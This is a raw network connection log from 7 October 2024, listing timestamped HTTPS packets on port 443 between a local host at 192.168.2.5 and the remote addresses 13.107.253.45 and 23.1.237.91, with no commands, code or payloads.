Oct 7, 2024 21:18:19.632920027 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.632927895 CEST	49730	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.632931948 CEST	443	49730	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.636641026 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.636686087 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.636781931 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.637052059 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.637073994 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.641621113 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.641685963 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.641737938 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.641988039 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.641995907 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.642030001 CEST	49731	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.642034054 CEST	443	49731	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.645925999 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.646003962 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.646155119 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.646728039 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.646754980 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.649210930 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.649364948 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.649427891 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.649573088 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.649573088 CEST	49732	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.649600029 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.649622917 CEST	443	49732	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.652086020 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.652133942 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.652218103 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.652400970 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:19.652434111 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:19.803858042 CEST	443	49733	23.1.237.91	192.168.2.5
Oct 7, 2024 21:18:19.803932905 CEST	49733	443	192.168.2.5	23.1.237.91
Oct 7, 2024 21:18:20.249162912 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.249762058 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.249792099 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.250436068 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.250442028 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.257139921 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.257739067 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.257777929 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.258055925 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.258068085 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.277918100 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.279180050 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.279180050 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.279210091 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.279222965 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.282572031 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.283212900 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.283230066 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.283298016 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.283303976 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.320019960 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.320522070 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.320545912 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.321084023 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.321093082 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.368021011 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.368081093 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.368364096 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.368364096 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.368733883 CEST	49734	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.368751049 CEST	443	49734	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.371098042 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.371180058 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.371401072 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.371634007 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.371675014 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.371705055 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.371707916 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.371763945 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.371946096 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.371946096 CEST	49735	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.371983051 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.371994972 CEST	443	49735	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.374735117 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.374779940 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.374973059 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.374973059 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.375010014 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.406054020 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.406219006 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.406390905 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.406554937 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.406555891 CEST	49737	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.406589031 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.406619072 CEST	443	49737	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.407459974 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.407505035 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.408934116 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.408945084 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.408982038 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.409008980 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.409447908 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.409451008 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.409451008 CEST	49738	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.409457922 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.409476042 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.409504890 CEST	443	49738	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.411570072 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.411600113 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.411684990 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.411843061 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.411871910 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.432163954 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.432301998 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.432375908 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.432707071 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.432724953 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.432838917 CEST	49736	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.432846069 CEST	443	49736	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.435023069 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.435060978 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:20.435323000 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.435348034 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:20.435353994 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.280432940 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.282233953 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.283516884 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.283550024 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.284580946 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.284588099 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.285181046 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.285208941 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.285748959 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.285758018 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.285799980 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.286820889 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.288007021 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.288013935 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.288453102 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.288459063 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.291975021 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.331031084 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.345594883 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.345608950 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.346043110 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.346049070 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.346147060 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.346175909 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.346983910 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.346990108 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.404031038 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.404092073 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.404167891 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.405059099 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.405107021 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.405154943 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.405297995 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.405432940 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.405550957 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.444475889 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.444614887 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.444694042 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.447366953 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.447388887 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.447402000 CEST	49743	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.447407961 CEST	443	49743	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.452459097 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.452543020 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.452641010 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.470761061 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.470788956 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.470844984 CEST	49744	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.470856905 CEST	443	49744	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.492923975 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.492944956 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.492959023 CEST	49741	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.492965937 CEST	443	49741	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.514991045 CEST	49740	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.515002966 CEST	443	49740	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.565635920 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.565658092 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.565675974 CEST	49742	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.565682888 CEST	443	49742	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.626550913 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.626590014 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.626739979 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.628892899 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.628969908 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.630265951 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.630314112 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.630465984 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.630587101 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.630603075 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.635119915 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.635157108 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.635214090 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.636677027 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.636686087 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.636823893 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.637547970 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.637559891 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.637610912 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.638046980 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.638057947 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.638566971 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.638585091 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:21.638906956 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:21.638919115 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.257632971 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.258337021 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.258367062 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.258986950 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.259001017 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.268301964 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.269603968 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.269615889 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.270015955 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.270021915 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.315398932 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.316241980 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.316266060 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.316596031 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.316605091 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.318490028 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.318820953 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.318840981 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.319411993 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.319420099 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.323131084 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.323527098 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.323556900 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.323935032 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.323940992 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.365190029 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.365817070 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.365879059 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.366656065 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.366679907 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.366692066 CEST	49748	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.366698027 CEST	443	49748	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.371954918 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.372004986 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.372065067 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.372217894 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.372235060 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.375591993 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.375737906 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.375859976 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.376189947 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.376209021 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.376229048 CEST	49747	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.376235008 CEST	443	49747	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.380616903 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.380657911 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.380723953 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.380829096 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.380844116 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.431875944 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.432029009 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.432226896 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.432524920 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.432553053 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.432553053 CEST	49750	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.432569027 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.432579994 CEST	443	49750	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.432594061 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.432641029 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.436129093 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.436220884 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.436300993 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.437186956 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.437202930 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.437211037 CEST	49751	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.437216997 CEST	443	49751	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.437237978 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.437237978 CEST	49749	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.437258005 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.437268019 CEST	443	49749	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.442738056 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.442775965 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.442888021 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.444411993 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.444457054 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.444514990 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.445749044 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.445813894 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.445905924 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.445924997 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.445950985 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.445971966 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.445986032 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:22.446053982 CEST	49756	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:22.446089983 CEST	443	49756	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.138535976 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.139031887 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.139059067 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.139081955 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.139698029 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.139698029 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.139707088 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.139729023 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.140081882 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.140088081 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.140455961 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.140784979 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.140799046 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.141299009 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.141304016 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.142865896 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.145189047 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.145196915 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.145683050 CEST	49753	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.145687103 CEST	443	49753	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.243635893 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.243712902 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.243872881 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.243926048 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.243938923 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.243956089 CEST	49752	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.243962049 CEST	443	49752	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.245363951 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.245426893 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.245479107 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.245639086 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.245639086 CEST	49755	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.245646954 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.245656967 CEST	443	49755	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.245992899 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.246057987 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.246288061 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.248262882 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.248347998 CEST	443	49759	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.248461962 CEST	49759	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.248464108 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.248497963 CEST	49758	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.248500109 CEST	443	49754	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.248518944 CEST	443	49758	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:23.248534918 CEST	49754	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:23.248559952 CEST	443	49754	13.107.253.45	192.168.2.5
